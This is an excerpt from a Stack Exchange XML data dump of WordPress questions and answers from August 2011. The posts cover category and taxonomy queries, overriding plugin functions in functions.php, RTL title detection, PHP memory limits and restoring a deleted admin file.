  <row Id="26223" PostTypeId="1" CreationDate="2011-08-18T10:08:15.507" Score="0" ViewCount="24" Body="&lt;p&gt;I have this neat code which lets me display all posts with the same taxonomy terms as the current post, regardless of post type and category. I would like to change it so I can specify which categories it should pick from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the current code: &#xA;&lt;a href=&quot;http://pastebin.com/jCVxUwNf&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/jCVxUwNf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I´m thinking this is probably pretty easy, still I´m a noob so I dont know where to type in the categories, if it should be category id or name etc. Can anyone help me with this?&lt;/p&gt;&#xA;" OwnerUserId="5079" LastActivityDate="2011-08-18T10:08:15.507" Title="Show all posts from category X with the same taxonomy term as current post" Tags="&lt;categories&gt;&lt;taxonomy&gt;&lt;terms&gt;" />
  <row Id="26224" PostTypeId="1" CreationDate="2011-08-18T10:25:28.443" Score="0" ViewCount="24" Body="&lt;p&gt;I have a number of pages, and on each I would like to display the latest post from the category which matches that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have page 1, 2 and 3, and on page 1, I'd like the latest post from category A. 2 -&gt; B, 3 -&gt; C, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been trying to code this myself, but I can't find a solid enough CMS resistant way of linking the page to the post category. Thus if someone changes the page, I'd lose the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found the plugin, &lt;a href=&quot;http://wordpress.org/extend/plugins/list-category-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/list-category-posts/&lt;/a&gt; which seems to do what I want, however adding a shortcode to my page, just displays the shortcode and doesn't do anything. I assume this is because it supports WP 3.1.4 and I'm running 3.2.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I code this functionality myself, or will I need to create a link table in the database? I'd rather use the WP framework, but if I can't crack this, I'll just write a script to do it in plain old php and just include it, which I don't want to do.&lt;/p&gt;&#xA;" OwnerUserId="7130" LastActivityDate="2011-08-18T11:37:06.143" Title="How to include the latest post of a specific category on a matching page" Tags="&lt;posts&gt;&lt;pages&gt;&lt;plugin-list-category-post&gt;" AnswerCount="1" />
  <row Id="26225" PostTypeId="2" ParentId="26215" CreationDate="2011-08-18T10:54:57.957" Score="1" ViewCount="" Body="&lt;p&gt;You don't have to redirect anything, just ensure the WordPress installation uses the same URL structure as the old CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Page Rank of 2 only applies to the home-page of the site - not the site itself (Side note: if you're concerned about Page Rank then you should &lt;a href=&quot;http://www.sitepoint.com/google-pagerank-obsessions/&quot; rel=&quot;nofollow&quot;&gt;read this&lt;/a&gt;). If you're referring to ranking, that's a different story, but changing CMS's will hardly have a negative effect unless you modify the way in which the spiders discover/crawl/index the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If&lt;/em&gt; you can't maintain the old URL structure, then of course you'll have to ensure the old URLs are 301 redirected to the new one (simplest way is through a pattern-based redirection in htaccess, or using a redirection plugin).&lt;/p&gt;&#xA;" OwnerUserId="2511" LastActivityDate="2011-08-18T10:54:57.957" CommentCount="1" />
  <row Id="26227" PostTypeId="1" CreationDate="2011-08-18T11:18:08.030" Score="1" ViewCount="21" Body="&lt;p&gt;I have a jQuery slider at the top of my index.php, which works fine. The only problem is that I would like to use query_posts to only display the latest post from five different categories, and always show one from each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when a new post is created in, lets say the category interview, this will be displayed. But the interview post which was posted one day earlier will then not be displayed, but the latest post from the four other categories are still there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is a bit complicated, no?&lt;/p&gt;&#xA;" OwnerUserId="7283" LastActivityDate="2011-08-18T14:18:54.653" Title="Display only the latest post from multiple categories" Tags="&lt;categories&gt;&lt;query-posts&gt;" AnswerCount="1" />
  <row Id="26228" PostTypeId="1" AcceptedAnswerId="26232" CreationDate="2011-08-18T11:20:50.060" Score="0" ViewCount="50" Body="&lt;pre&gt;&lt;code&gt;add_action('wp_head','add_gpp_gallery');&#xA;function add_gpp_gallery() {&#xA;    if( ( is_single() || is_page() ) &amp;amp;&amp;amp; ( !is_page_template('page-blog.php') ) ){&#xA;        remove_shortcode('gallery', 'gallery_shortcode');&#xA;        add_shortcode('gallery', 'gpp_gallery_shortcode');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hi All, I pulled the above function out of the plugin's core functions file, and I was hoping to change it to only replace the WP default gallery on my custom post type. So I changed the if statement above to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_single() &amp;amp;&amp;amp; is_post_type('post_type'){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I changed it and put it into my functions.php - but I'm getting an error that stating that I can't redeclare add_gpp_gallery&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I override the plugin's functions without touching the plugin code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action( 'wp_head', 'add_gpp_gallery' );&#xA;add_action('wp_head','jason_add_gpp_gallery');&#xA;function jason_add_gpp_gallery() {&#xA;    if ( is_single() &amp;amp;&amp;amp; is_post_type('listings') ){&#xA;        remove_shortcode('gallery', 'gallery_shortcode');&#xA;        add_shortcode('gallery', 'gpp_gallery_shortcode');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I get a fatal error - &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined function is_post_type() in&#xA;  /home/hostspro/public_html/movemaine.com/wp-content/themes/movemaine/functions.php&#xA;  on line 269&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT #2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had cross wired my functions, and was forgetting to change out the is_post_type.&#xA;The following code is working and thanks for the help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action( 'wp_head', 'add_gpp_gallery' );&#xA;add_action('wp_head','jason_add_gpp_gallery');&#xA;function jason_add_gpp_gallery() {&#xA;    if ( is_single() &amp;amp;&amp;amp; 'listings' == get_post_type() ) {&#xA;        remove_shortcode('gallery', 'gallery_shortcode');&#xA;        add_shortcode('gallery', 'gpp_gallery_shortcode');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4902" LastEditorUserId="4902" LastEditorDisplayName="" LastEditDate="2011-08-18T15:26:12.457" LastActivityDate="2011-08-18T15:26:12.457" Title="Override plugin with functions.php" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;functions&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26230" PostTypeId="2" ParentId="26224" CreationDate="2011-08-18T11:37:06.143" Score="0" ViewCount="" Body="&lt;p&gt;I have managed to solve this problem by creating my own code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my &lt;code&gt;content-excerpt.php&lt;/code&gt; template part, I have included the following,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!is_page('Home')){&#xA;&#xA;    $page = get_page(get_the_ID());&#xA;    $custom = get_post_custom($page-&amp;gt;ID);&#xA;    // I have added a custom field on the page, which contains the category id&#xA;&#xA;    $custom_post = get_posts(array('numberposts'=&amp;gt;1, 'category'=&amp;gt;$custom['Category Link'][0], 'post_type'=&amp;gt;'post', 'post_status'=&amp;gt;'publish'));&#xA;    $post = $custom_post[0];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which I can then use in the normal way, with things like &lt;code&gt;the_title()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someone finds this handy.&lt;/p&gt;&#xA;" OwnerUserId="7130" LastActivityDate="2011-08-18T11:37:06.143" />
  <row Id="26231" PostTypeId="1" CreationDate="2011-08-18T11:57:31.833" Score="0" ViewCount="16" Body="&lt;p&gt;I have a function that checks if the title of the page is rtl, then adds a css &lt;code&gt;dir=&quot;rtl&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it works when tested outside wordpress but when tested with wordpresse's &lt;code&gt;get_the_title()&lt;/code&gt; it fails! (&lt;em&gt;normally the title of my page is arabic and the same as the one bellow&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function btk_is_rtl($text)&#xA;{       &#xA;    $ltrCharchters = 'A-Za-z\x{00C0}-\x{00D6}\x{00D8}-\x{00F6}\x{00F8}-\x{02B8}\x{0300}-\x{0590}\x{0800}-\x{1FFF}\x{2C00}-\x{FB1C}\x{FDFE}-\x{FE6F}\x{FEFD}-\x{FFFF}';&#xA;    $rtlCharchters = '\x{0591}-\x{07FF}\x{FB1D}-\x{FDFD}\x{FE70}-\x{FEFC}';&#xA;    $pMarks = '\p{P}';&#xA;    $space = '\s';&#xA;    if (!preg_match(&quot;/[^&quot;.$space.$pMarks.$rtlCharchters.&quot;]/u&quot; , $text)) {&#xA;        return true;&#xA;    } elseif (!preg_match(&quot;/[^&quot;.$space.$pMarks.$ltrCharchters.&quot;]/u&quot; , $text)) {&#xA;        return false;&#xA;    } else {&#xA;        return false;&#xA;    }&#xA;}&#xA;&#xA;&#xA;if ( btk_is_rtl( 'الحلويات المغربية' ) ) echo 'rtl'; else echo 'ltr';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I fixed this by using this function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is There RTL Chars @author  Khaled Attia (http://twitter.com/khal3d)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function btk_is_there_rtl_chars( $string = '' )&#xA;{&#xA;    $rtl_chars_pattern = '/[\x{0590}-\x{05ff}\x{0600}-\x{06ff}]/u';&#xA;    return preg_match($rtl_chars_pattern, $string);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but still don't understand why the first function didn't work!?&lt;/p&gt;&#xA;" OwnerUserId="7515" LastEditorUserId="7515" LastEditorDisplayName="" LastEditDate="2011-08-18T14:00:39.887" LastActivityDate="2011-08-18T14:00:39.887" Title="get_the_title is missing with RTL text" Tags="&lt;get-the-title&gt;" CommentCount="0" />
  <row Id="26232" PostTypeId="2" ParentId="26228" CreationDate="2011-08-18T12:00:55.797" Score="1" ViewCount="" Body="&lt;p&gt;You can &lt;strong&gt;change the name of&lt;/strong&gt; &lt;code&gt;add_gpp_gallery&lt;/code&gt; &lt;strong&gt;function&lt;/strong&gt; both in the callback and in the declaration to avoid the conflict between the original and your clone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_head','jason_add_gpp_gallery');&#xA;function jason_add_gpp_gallery() {&#xA;    if ( is_single() &amp;amp;&amp;amp; 'your_post_type' == get_post_type() ) ){&#xA;        remove_shortcode('gallery', 'gallery_shortcode');&#xA;        add_shortcode('gallery', 'gpp_gallery_shortcode');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... should work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus: You can remove the original plugin action with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/remove_action&quot; rel=&quot;nofollow&quot;&gt;remove_action()&lt;/a&gt; if needed.&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-08-18T13:01:42.703" LastActivityDate="2011-08-18T13:01:42.703" CommentCount="10" />
  <row Id="26233" PostTypeId="2" ParentId="26220" CreationDate="2011-08-18T12:52:18.297" Score="1" ViewCount="" Body="&lt;p&gt;You need create a &lt;strong&gt;es_ES.mo&lt;/strong&gt; file, using the .po file included with the Theme. Try using something like &lt;a href=&quot;http://poedit.net&quot; rel=&quot;nofollow&quot;&gt;POEdit&lt;/a&gt; or a similar utility.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-18T12:52:18.297" CommentCount="5" />
  <row Id="26234" PostTypeId="2" ParentId="26213" CreationDate="2011-08-18T13:01:01.440" Score="0" ViewCount="" Body="&lt;p&gt;You need to pull the option &lt;em&gt;out of the Widget&lt;/em&gt; and make it a &lt;em&gt;Plugin option&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if your &lt;code&gt;register_setting()&lt;/code&gt; option array name is &lt;code&gt;plugin_myplugin_options&lt;/code&gt; (where &quot;myplugin&quot; is your Plugin slug), you could add a Boolean option, &lt;code&gt;use_plugin_css&lt;/code&gt;, that if &lt;code&gt;true&lt;/code&gt; will use the Plugin's CSS, and if &lt;code&gt;false&lt;/code&gt; will use the user's CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, change your &lt;code&gt;widgets_init&lt;/code&gt; callback to something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function load_my_widgets() {&#xA;    register_widget( 'My_Widget' );&#xA;    $myplugin_options = get_option( 'plugin_myplugin_options' );&#xA;    if ( $myplugin_options['use_plugin_css'] ) {&#xA;        wp_register_style( 'my_widget_css', 'http://mydomain.com/css/my-widget.css' );&#xA;        wp_enqueue_style( 'my_widget_css' );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;p.s. if this is a publicly released Plugin, you need to &lt;strong&gt;namespace&lt;/strong&gt; all of your function calls. e.g. change &lt;code&gt;function load_my_widgets() {}&lt;/code&gt; to &lt;code&gt;function myplugin_load_widgets() {}&lt;/code&gt;, where &quot;myplugin&quot; is your Plugin slug. The same goes for registering a custom style or script; change &lt;code&gt;my_widget_css&lt;/code&gt; to &lt;code&gt;myplugin_css&lt;/code&gt;, where &quot;myplugin&quot; is your Plugin slug.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-18T13:01:01.440" CommentCount="5" />
  <row Id="26235" PostTypeId="1" AcceptedAnswerId="26248" CreationDate="2011-08-18T13:05:19.397" Score="0" ViewCount="47" Body="&lt;p&gt;Although the accounts on my server generally have a lower memory limit, I've configured my Wordpress user accounts with a memory limit of 32Mb using the php.ini file and &lt;code&gt;memory_limit = 32M&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I've found that I'm still getting the odd memory error, even on small tests blogs. I've had to increase the limit to 64Mb which in my mind seems a little high for normal usage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should be a reasonable upper memory limit to have on standard Wordpress installs with popular plugins? For your information some of the plugins that I suspect might be causing memory issues are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;W3 Total Cache&lt;/li&gt;&#xA;&lt;li&gt;Role Scoper&lt;/li&gt;&#xA;&lt;li&gt;Smush.it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5864" LastActivityDate="2011-08-18T15:06:52.503" Title="What is a reasonable memory limit for Wordpress" Tags="&lt;plugins&gt;&lt;server&gt;&lt;memory&gt;&lt;server-load&gt;" AnswerCount="2" />
  <row Id="26236" PostTypeId="2" ParentId="26209" CreationDate="2011-08-18T13:10:53.367" Score="1" ViewCount="" Body="&lt;p&gt;First, change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include TEMPLATEPATH . '/extras/shortcodes.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include ( TEMPLATEPATH . '/extras/shortcodes.php' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second, change &lt;code&gt;TEMPLATEPATH&lt;/code&gt; to &lt;code&gt;get_template_directory()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include ( get_template_directory() . '/extras/shortcodes.php' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://core.trac.wordpress.org/ticket/18298&quot; rel=&quot;nofollow&quot;&gt;The &lt;code&gt;TEMPLATEPATH&lt;/code&gt; and &lt;code&gt;STYLESHEETPATH&lt;/code&gt; globals are going away eventually.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, make sure you &lt;strong&gt;namespace your function names&lt;/strong&gt; properly. Function names &quot;alertBox()&quot; and &quot;infoBox()&quot; are far too generic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond that, we probably need to see your error messages.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-08-18T13:28:36.813" LastActivityDate="2011-08-18T13:28:36.813" CommentCount="1" />
  <row Id="26237" PostTypeId="1" AcceptedAnswerId="26243" CreationDate="2011-08-18T13:22:14.910" Score="0" ViewCount="32" Body="&lt;p&gt;Is there a plugin that can access cPanel features from within Wordpress? In particular I'd like to be able to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;View bandwidth, quota and other server info from the WP Dashboard&lt;/li&gt;&#xA;&lt;li&gt;Access my webmail&lt;/li&gt;&#xA;&lt;li&gt;Access the file manager to edit files (useful for .htaccess, php.ini and non-WP files)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know I can just open a new tab and log on to my cPanel account, but it would be great if it could be integrated some how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there isn't a plugin to achieve the above, then I suppose an easier way would be for some links to be added to the Dashboard menu (for example webmail and file manager) which would link directly to those sections in cPanel and perhaps open in an iframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to recap... does a plugin exist to achieve the above (or it easy to make one) or if not, does a plugin exist (or how do I create one) that adds these links to the dashboard. Any ideas from people who use cPanel and WP on a regular basis would be helpful.&lt;/p&gt;&#xA;" OwnerUserId="5864" LastActivityDate="2011-08-18T13:56:08.163" Title="How do I access cPanel features within Wordpress?" Tags="&lt;plugins&gt;&lt;server&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26238" PostTypeId="1" CreationDate="2011-08-18T13:22:23.553" Score="0" ViewCount="39" Body="&lt;p&gt;Is there any way that developing a Wordpress admin panel like this would be possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://deanelliott.me/wp-content/uploads/account-backend.jpg&quot; rel=&quot;nofollow&quot;&gt;http://deanelliott.me/wp-content/uploads/account-backend.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client wants it to be displayed within the website template aswell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really don't want to have to outsource this, but I'm stumped as to how to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7999" LastActivityDate="2011-08-18T15:31:38.607" Title="Extending the user profile" Tags="&lt;admin&gt;&lt;dashboard&gt;&lt;user&gt;&lt;profile&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26239" PostTypeId="1" CreationDate="2011-08-18T13:27:39.130" Score="0" ViewCount="38" Body="&lt;p&gt;I created a blog-area on &lt;a href=&quot;http://www.davidgoltz.de/2011/blog-page/&quot; rel=&quot;nofollow&quot;&gt;http://www.davidgoltz.de/2011/blog-page/&lt;/a&gt;. Like the title says its a custom post type. I'm using infinite scroll to scroll load older posts. After page 2 the infinite scroll said &quot;Youve reached the end&quot; and Firebug said in its console &quot;[...]/page3/ 404 Error [...]. So I made like 100 bugfixes, installations and ended up with this (weird) solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added this to my functions: &lt;a href=&quot;http://pastebin.com/bhDynuNL&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/bhDynuNL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now everything is perfect! It loads every page in the blog and it seems to be ok! But I get this error in the backend while watching the post and page-lists: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Illegal offset type in isset or empty in /homepages/11/d120350608/htdocs/2011/wp-includes/post.php on line 825&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yeah, I can ignore it but maybe you had the problem before and you know a different solution to my functions-hack&lt;/p&gt;&#xA;" OwnerUserId="7753" LastActivityDate="2011-08-18T13:27:39.130" Title="Custom Post Type Pagination 404 error solved?" Tags="&lt;custom-post-types&gt;&lt;functions&gt;" CommentCount="2" />
  <row Id="26240" PostTypeId="2" ParentId="23606" CreationDate="2011-08-18T13:33:10.460" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function term_clean($postid, $term)&#xA;{&#xA;    $terms = get_the_terms($postid, $term); &#xA;    foreach ($terms as $term) {  echo $term-&amp;gt;name;   };&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8002" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-18T13:34:09.993" LastActivityDate="2011-08-18T13:34:09.993" />
  <row Id="26241" PostTypeId="2" ParentId="26213" CreationDate="2011-08-18T13:35:59.457" Score="0" ViewCount="" Body="&lt;p&gt;This is sort of sloppy as the style will still be enqueued regardless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the code to display your widget, change the CSS selectors based on whether or not the user selected own style:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$prefix = $instance['own_style'] ? 'ownstyle_' : 'pluginstyle_';&#xA;&#xA;//then....&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;&amp;lt;?php echo $prefix; ?&amp;gt;selector&quot;&amp;gt; ...&amp;lt;/div&amp;gt; etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A user would be able to use both a widget with custom style and one with default style this way.  Enqueue your style separately in its own function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_print_scripts', 'wpse26241_enqueue' );&#xA;function wpse26241_enqueue()&#xA;{&#xA;    if( is_admin() ) return;&#xA;    if( is_active_widget( 'My_Widget' ) )&#xA;         wp_enqueue_style( 'my_style' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6035" LastEditorUserId="6035" LastEditorDisplayName="" LastEditDate="2011-08-18T13:42:14.830" LastActivityDate="2011-08-18T13:42:14.830" CommentCount="3" />
  <row Id="26243" PostTypeId="2" ParentId="26237" CreationDate="2011-08-18T13:56:08.163" Score="0" ViewCount="" Body="&lt;p&gt;I do not believe there are any plugins specifically catered to cPanel, however there are a few plugins which will allow you to add an iFrame to your admin pages.  I have not used any of these, and agree with the other commenter (Chip) who mentioned that it may pose a security risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, check out plugins like this: &lt;a href=&quot;http://wordpress.org/extend/plugins/iframe-admin-pages/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/iframe-admin-pages/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;search for similar: &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=admin+iframe&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search.php?q=admin+iframe&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8003" LastActivityDate="2011-08-18T13:56:08.163" CommentCount="1" />
  <row Id="26245" PostTypeId="1" CreationDate="2011-08-18T14:03:37.983" Score="1" ViewCount="13" Body="&lt;p&gt;I created a taxonomy called &quot;portfolio categories&quot; for my portfolio custom post type. They're hierarchical and supposed to be behave like categories.  when i'm editing a single portfolio post... i have a metabox where i can assign the proper portfolio category.  It shows all categories at all the depths. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/bSVmK.png&quot; alt=&quot;unlimited hierarchy&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when i am on the Taxonomy page (edit-tags.php?taxonomy=portfolio-cats&amp;amp;post_type=portfolio) then it only shows top level categories and their immediate children... and no further.  so grandchild-level categories are missing even though there are portfolio pieces assigned to them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/m3n3z.png&quot; alt=&quot;limited hierarchy&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this default behavior?  b/c i can see unlimited depths on the regular Categories page.  should a hierarchical taxonomy behave the same?&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-08-18T14:03:37.983" Title="Edit tags page for hierarchical taxonomy doesn't show taxonomies at all depths" Tags="&lt;custom-taxonomy&gt;" />
  <row Id="26246" PostTypeId="1" AcceptedAnswerId="26257" CreationDate="2011-08-18T09:05:24.113" Score="0" ViewCount="59" Body="&lt;p&gt;I am using Wordpress for my website. I was  working on CPANEL yesterday and was browsing &lt;code&gt;public-html/wp-admin folder&lt;/code&gt; under the &lt;code&gt;File manager&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There were many files and I accidentally deleted the &lt;code&gt;admin-header.php&lt;/code&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I get an another copy of that file so that I can upload it to the same folder from where it got deleted?&lt;/p&gt;&#xA;" OwnerUserId="8004" LastActivityDate="2011-09-01T06:10:06.283" Title="Where can I find admin-header.php file online?" Tags="&lt;untagged&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="26247" PostTypeId="2" ParentId="26227" CreationDate="2011-08-18T14:18:54.653" Score="0" ViewCount="" Body="&lt;p&gt;i think you'd have to use get_posts 5 different times. what about this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;$posts = array();&#xA;&#xA;//categories you want to pull latest posts from;&#xA;$cats = (1,2,3,4,5);&#xA;&#xA;foreach($cats as $cat):&#xA;$args = array( 'numberposts' =&amp;gt; 1, 'category' =&amp;gt; $cat ); &#xA;$posts[] = get_posts($args);&#xA;endforeach;&#xA;&#xA;if($posts): ?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php foreach( $posts as $post ) :  setup_postdata($post); ?&amp;gt;&#xA;   &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i totally didn't test this, but I think it might work&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-08-18T14:18:54.653" CommentCount="1" />
  <row Id="26248" PostTypeId="2" ParentId="26235" CreationDate="2011-08-18T14:45:23.643" Score="1" ViewCount="" Body="&lt;p&gt;Obviously this question is a little squishy, as YMMV, but I've run several WP sites using W3TC and similar plugins to yours on 32M, and haven't had an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, when are you typically running into issues? Is it on post submission? On gallery operations? Looking for a pattern there could be helpful. Let us know if you find one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also remember that a limit is just that, a limit. The majority of the time your site will not be running at the max of 32 or 64M, especially with a caching plugin like W3TC installed and properly configured. PHP may burst to 64, but so long as your server can handle bursts up to that level, then you should feel comfortable with it. Generally, memory limits can be set a little higher than what you'd expect, and so long as you aren't causing your server to thrash then you are fine. Try running &lt;code&gt;top&lt;/code&gt; or &lt;code&gt;free -m -s 5&lt;/code&gt; to examine memory usage over time, and see if you're constantly running close to the limit, or if it will continue fine as it is.&lt;/p&gt;&#xA;" OwnerUserId="7105" LastActivityDate="2011-08-18T14:45:23.643" CommentCount="2" />
  <row Id="26249" PostTypeId="2" ParentId="26246" CreationDate="2011-08-18T14:45:28.747" Score="2" ViewCount="" Body="&lt;p&gt;Get it from &lt;a href=&quot;https://github.com/wordpress/wordpress/tree/master/wp-admin&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-18T14:45:28.747" />
  <row Id="26250" PostTypeId="2" ParentId="26205" CreationDate="2011-08-18T14:57:32.610" Score="2" ViewCount="" Body="&lt;p&gt;In your dashboard, go to Settings &gt; Sharing, and drag the available social networks into the &quot;Enabled Services&quot; area to accomplish this. See &lt;a href=&quot;http://en.blog.wordpress.com/2010/08/24/more-ways-to-share/&quot; rel=&quot;nofollow&quot;&gt;http://en.blog.wordpress.com/2010/08/24/more-ways-to-share/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7105" LastActivityDate="2011-08-18T14:57:32.610" />
